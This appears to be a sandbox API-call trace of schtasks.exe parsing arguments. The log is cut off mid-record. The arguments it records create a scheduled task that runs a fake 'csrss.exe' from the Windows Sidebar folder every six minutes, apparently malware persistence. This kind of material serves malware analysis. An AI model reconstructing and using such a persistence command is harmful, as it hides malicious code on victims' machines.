[0057.232] lstrlenW (lpString="delete") returned 6 [0057.232] lstrlenW (lpString="delete") returned 6 [0057.232] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] lstrlenW (lpString="sc") returned 2 [0057.232] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|delete|") returned 8 [0057.232] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.232] lstrlenW (lpString="|delete|") returned 8 [0057.232] lstrlenW (lpString="|sc|") returned 4 [0057.232] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0057.232] SetLastError (dwErrCode=0x490) [0057.232] lstrlenW (lpString="query") returned 5 [0057.232] lstrlenW (lpString="query") returned 5 [0057.232] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] lstrlenW (lpString="sc") returned 2 [0057.232] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|query|") returned 7 [0057.232] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.232] lstrlenW (lpString="|query|") returned 7 [0057.232] lstrlenW (lpString="|sc|") returned 4 [0057.232] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0057.232] SetLastError (dwErrCode=0x490) [0057.232] lstrlenW (lpString="change") returned 6 [0057.232] lstrlenW (lpString="change") returned 6 [0057.232] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] lstrlenW (lpString="sc") returned 2 [0057.232] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.232] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|change|") returned 8 [0057.232] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.232] lstrlenW (lpString="|change|") returned 8 [0057.232] lstrlenW (lpString="|sc|") returned 4 [0057.233] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0057.233] SetLastError (dwErrCode=0x490) [0057.233] lstrlenW (lpString="run") returned 3 [0057.233] lstrlenW (lpString="run") returned 3 [0057.233] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] lstrlenW (lpString="sc") returned 2 [0057.233] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|run|") returned 5 [0057.233] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.233] lstrlenW (lpString="|run|") returned 5 [0057.233] lstrlenW (lpString="|sc|") returned 4 [0057.233] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0057.233] SetLastError (dwErrCode=0x490) [0057.233] lstrlenW (lpString="end") returned 3 [0057.233] lstrlenW (lpString="end") returned 3 [0057.233] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] lstrlenW (lpString="sc") returned 2 [0057.233] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|end|") returned 5 [0057.233] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.233] lstrlenW (lpString="|end|") returned 5 [0057.233] lstrlenW (lpString="|sc|") returned 4 [0057.233] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0057.233] SetLastError (dwErrCode=0x490) [0057.233] lstrlenW (lpString="showsid") returned 7 [0057.233] lstrlenW (lpString="showsid") returned 7 [0057.233] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] lstrlenW (lpString="sc") returned 2 [0057.233] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.233] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|showsid|") returned 9 [0057.234] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|sc|") returned 4 [0057.234] lstrlenW (lpString="|showsid|") returned 9 [0057.234] lstrlenW (lpString="|sc|") returned 4 [0057.234] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="/sc") returned 3 [0057.234] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="/sc") returned 3 [0057.234] GetProcessHeap () returned 0x280000 [0057.234] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29c3d0 [0057.234] GetProcessHeap () returned 0x280000 [0057.234] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cdb0 [0057.234] SetLastError (dwErrCode=0x0) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="MINUTE") returned 6 [0057.234] lstrlenW (lpString="-/") returned 2 [0057.234] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="MINUTE") returned 6 [0057.234] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0057.234] SetLastError (dwErrCode=0x490) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="MINUTE") returned 6 [0057.234] GetProcessHeap () returned 0x280000 [0057.234] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29c3f0 [0057.234] GetProcessHeap () returned 0x280000 [0057.234] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cde0 [0057.234] SetLastError (dwErrCode=0x0) [0057.234] SetLastError (dwErrCode=0x0) [0057.234] lstrlenW (lpString="/mo") returned 3 [0057.235] lstrlenW (lpString="-/") returned 2 [0057.235] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.235] lstrlenW (lpString="?") returned 1 [0057.235] lstrlenW (lpString="?") returned 1 [0057.235] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] lstrlenW (lpString="mo") returned 2 [0057.235] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.235] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.235] lstrlenW (lpString="|?|") returned 3 [0057.235] lstrlenW (lpString="|mo|") returned 4 [0057.235] SetLastError (dwErrCode=0x490) [0057.235] lstrlenW (lpString="create") returned 6 [0057.235] lstrlenW (lpString="create") returned 6 [0057.235] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] lstrlenW (lpString="mo") returned 2 [0057.235] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.235] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.235] lstrlenW (lpString="|create|") returned 8 [0057.235] lstrlenW (lpString="|mo|") returned 4 [0057.235] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0057.235] SetLastError (dwErrCode=0x490) [0057.235] lstrlenW (lpString="delete") returned 6 [0057.235] lstrlenW (lpString="delete") returned 6 [0057.235] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] lstrlenW (lpString="mo") returned 2 [0057.235] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.235] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|delete|") returned 8 [0057.235] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.235] lstrlenW (lpString="|delete|") returned 8 [0057.236] lstrlenW (lpString="|mo|") returned 4 [0057.236] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0057.236] SetLastError (dwErrCode=0x490) [0057.236] lstrlenW (lpString="query") returned 5 [0057.236] lstrlenW (lpString="query") returned 5 [0057.236] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] lstrlenW (lpString="mo") returned 2 [0057.236] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|query|") returned 7 [0057.236] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.236] lstrlenW (lpString="|query|") returned 7 [0057.236] lstrlenW (lpString="|mo|") returned 4 [0057.236] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0057.236] SetLastError (dwErrCode=0x490) [0057.236] lstrlenW (lpString="change") returned 6 [0057.236] lstrlenW (lpString="change") returned 6 [0057.236] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] lstrlenW (lpString="mo") returned 2 [0057.236] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|change|") returned 8 [0057.236] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.236] lstrlenW (lpString="|change|") returned 8 [0057.236] lstrlenW (lpString="|mo|") returned 4 [0057.236] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0057.236] SetLastError (dwErrCode=0x490) [0057.236] lstrlenW (lpString="run") returned 3 [0057.236] lstrlenW (lpString="run") returned 3 [0057.236] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] lstrlenW (lpString="mo") returned 2 [0057.236] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.236] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|run|") returned 5 [0057.237] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.237] lstrlenW (lpString="|run|") returned 5 [0057.237] lstrlenW (lpString="|mo|") returned 4 [0057.237] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0057.237] SetLastError (dwErrCode=0x490) [0057.237] lstrlenW (lpString="end") returned 3 [0057.237] lstrlenW (lpString="end") returned 3 [0057.237] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.237] lstrlenW (lpString="mo") returned 2 [0057.237] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.237] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|end|") returned 5 [0057.237] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.237] lstrlenW (lpString="|end|") returned 5 [0057.237] lstrlenW (lpString="|mo|") returned 4 [0057.237] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0057.237] SetLastError (dwErrCode=0x490) [0057.237] lstrlenW (lpString="showsid") returned 7 [0057.237] lstrlenW (lpString="showsid") returned 7 [0057.237] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.237] lstrlenW (lpString="mo") returned 2 [0057.237] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.237] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|showsid|") returned 9 [0057.237] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|mo|") returned 4 [0057.237] lstrlenW (lpString="|showsid|") returned 9 [0057.237] lstrlenW (lpString="|mo|") returned 4 [0057.237] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0057.237] SetLastError (dwErrCode=0x490) [0057.237] SetLastError (dwErrCode=0x490) [0057.237] SetLastError (dwErrCode=0x0) [0057.237] lstrlenW (lpString="/mo") returned 3 [0057.237] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0057.237] SetLastError (dwErrCode=0x490) [0057.238] SetLastError (dwErrCode=0x0) [0057.238] lstrlenW (lpString="/mo") returned 3 [0057.238] GetProcessHeap () returned 0x280000 [0057.238] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29c410 [0057.238] GetProcessHeap () returned 0x280000 [0057.238] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce10 [0057.238] SetLastError (dwErrCode=0x0) [0057.238] SetLastError (dwErrCode=0x0) [0057.238] lstrlenW (lpString="6") returned 1 [0057.238] SetLastError (dwErrCode=0x490) [0057.238] SetLastError (dwErrCode=0x0) [0057.238] lstrlenW (lpString="6") returned 1 [0057.238] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0057.238] SetLastError (dwErrCode=0x490) [0057.238] SetLastError (dwErrCode=0x0) [0057.238] lstrlenW (lpString="6") returned 1 [0057.238] GetProcessHeap () returned 0x280000 [0057.238] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x4) returned 0x29c430 [0057.238] GetProcessHeap () returned 0x280000 [0057.238] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce40 [0057.238] SetLastError (dwErrCode=0x0) [0057.238] SetLastError (dwErrCode=0x0) [0057.238] lstrlenW (lpString="/tr") returned 3 [0057.238] lstrlenW (lpString="-/") returned 2 [0057.238] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.238] lstrlenW (lpString="?") returned 1 [0057.238] lstrlenW (lpString="?") returned 1 [0057.238] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.238] lstrlenW (lpString="tr") returned 2 [0057.238] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.238] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.238] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.238] lstrlenW (lpString="|?|") returned 3 [0057.238] lstrlenW (lpString="|tr|") returned 4 [0057.238] SetLastError (dwErrCode=0x490) [0057.239] lstrlenW (lpString="create") returned 6 [0057.239] lstrlenW (lpString="create") returned 6 [0057.239] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] lstrlenW (lpString="tr") returned 2 [0057.239] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.239] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.239] lstrlenW (lpString="|create|") returned 8 [0057.239] lstrlenW (lpString="|tr|") returned 4 [0057.239] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0057.239] SetLastError (dwErrCode=0x490) [0057.239] lstrlenW (lpString="delete") returned 6 [0057.239] lstrlenW (lpString="delete") returned 6 [0057.239] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] lstrlenW (lpString="tr") returned 2 [0057.239] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|delete|") returned 8 [0057.239] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.239] lstrlenW (lpString="|delete|") returned 8 [0057.239] lstrlenW (lpString="|tr|") returned 4 [0057.239] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0057.239] SetLastError (dwErrCode=0x490) [0057.239] lstrlenW (lpString="query") returned 5 [0057.239] lstrlenW (lpString="query") returned 5 [0057.239] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] lstrlenW (lpString="tr") returned 2 [0057.239] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.239] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|query|") returned 7 [0057.239] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.239] lstrlenW (lpString="|query|") returned 7 [0057.240] lstrlenW (lpString="|tr|") returned 4 [0057.240] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0057.240] SetLastError (dwErrCode=0x490) [0057.240] lstrlenW (lpString="change") returned 6 [0057.240] lstrlenW (lpString="change") returned 6 [0057.240] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.240] lstrlenW (lpString="tr") returned 2 [0057.240] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.240] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|change|") returned 8 [0057.240] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.240] lstrlenW (lpString="|change|") returned 8 [0057.240] lstrlenW (lpString="|tr|") returned 4 [0057.240] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0057.240] SetLastError (dwErrCode=0x490) [0057.240] lstrlenW (lpString="run") returned 3 [0057.240] lstrlenW (lpString="run") returned 3 [0057.240] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.240] lstrlenW (lpString="tr") returned 2 [0057.240] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.240] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|run|") returned 5 [0057.240] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.240] lstrlenW (lpString="|run|") returned 5 [0057.240] lstrlenW (lpString="|tr|") returned 4 [0057.240] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0057.240] SetLastError (dwErrCode=0x490) [0057.241] lstrlenW (lpString="end") returned 3 [0057.241] lstrlenW (lpString="end") returned 3 [0057.241] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.241] lstrlenW (lpString="tr") returned 2 [0057.241] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.241] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|end|") returned 5 [0057.241] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.241] lstrlenW (lpString="|end|") returned 5 [0057.241] lstrlenW (lpString="|tr|") returned 4 [0057.241] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0057.241] SetLastError (dwErrCode=0x490) [0057.241] lstrlenW (lpString="showsid") returned 7 [0057.241] lstrlenW (lpString="showsid") returned 7 [0057.241] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.241] lstrlenW (lpString="tr") returned 2 [0057.241] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.241] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|showsid|") returned 9 [0057.241] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|tr|") returned 4 [0057.241] lstrlenW (lpString="|showsid|") returned 9 [0057.241] lstrlenW (lpString="|tr|") returned 4 [0057.241] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0057.241] SetLastError (dwErrCode=0x490) [0057.241] SetLastError (dwErrCode=0x490) [0057.241] SetLastError (dwErrCode=0x0) [0057.241] lstrlenW (lpString="/tr") returned 3 [0057.241] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0057.242] SetLastError (dwErrCode=0x490) [0057.242] SetLastError (dwErrCode=0x0) [0057.242] lstrlenW (lpString="/tr") returned 3 [0057.242] GetProcessHeap () returned 0x280000 [0057.242] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x8) returned 0x29c450 [0057.242] GetProcessHeap () returned 0x280000 [0057.242] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ce70 [0057.242] SetLastError (dwErrCode=0x0) [0057.242] SetLastError (dwErrCode=0x0) [0057.242] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.242] lstrlenW (lpString="-/") returned 2 [0057.242] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.243] SetLastError (dwErrCode=0x490) [0057.243] SetLastError (dwErrCode=0x490) [0057.243] SetLastError (dwErrCode=0x0) [0057.243] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.244] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0057.244] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29c470 [0057.244] _memicmp (_Buf1=0x29c470, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29c490 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d640 [0057.244] _memicmp (_Buf1=0x29d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x68) returned 0x29de10 [0057.244] SetLastError (dwErrCode=0x7a) [0057.244] SetLastError (dwErrCode=0x0) [0057.244] SetLastError (dwErrCode=0x0) [0057.244] lstrlenW (lpString="'C") returned 2 [0057.244] lstrlenW (lpString="-/") returned 2 [0057.244] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.244] SetLastError (dwErrCode=0x490) [0057.244] SetLastError (dwErrCode=0x490) [0057.244] SetLastError (dwErrCode=0x0) [0057.244] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x66) returned 0x29de80 [0057.244] GetProcessHeap () returned 0x280000 [0057.244] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cea0 [0057.245] SetLastError (dwErrCode=0x0) [0057.245] SetLastError (dwErrCode=0x0) [0057.245] lstrlenW (lpString="/f") returned 2 [0057.245] lstrlenW (lpString="-/") returned 2 [0057.245] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.245] lstrlenW (lpString="?") returned 1 [0057.245] lstrlenW (lpString="?") returned 1 [0057.245] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.245] lstrlenW (lpString="f") returned 1 [0057.245] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.245] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|?|") returned 3 [0057.245] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.245] lstrlenW (lpString="|?|") returned 3 [0057.245] lstrlenW (lpString="|f|") returned 3 [0057.245] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0057.245] SetLastError (dwErrCode=0x490) [0057.245] lstrlenW (lpString="create") returned 6 [0057.245] lstrlenW (lpString="create") returned 6 [0057.245] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.245] lstrlenW (lpString="f") returned 1 [0057.245] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.245] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|create|") returned 8 [0057.245] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.245] lstrlenW (lpString="|create|") returned 8 [0057.245] lstrlenW (lpString="|f|") returned 3 [0057.245] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0057.245] SetLastError (dwErrCode=0x490) [0057.245] lstrlenW (lpString="delete") returned 6 [0057.245] lstrlenW (lpString="delete") returned 6 [0057.245] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.245] lstrlenW (lpString="f") returned 1 [0057.245] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.246] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|delete|") returned 8 [0057.246] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.246] lstrlenW (lpString="|delete|") returned 8 [0057.246] lstrlenW (lpString="|f|") returned 3 [0057.246] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0057.246] SetLastError (dwErrCode=0x490) [0057.246] lstrlenW (lpString="query") returned 5 [0057.246] lstrlenW (lpString="query") returned 5 [0057.246] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.246] lstrlenW (lpString="f") returned 1 [0057.246] 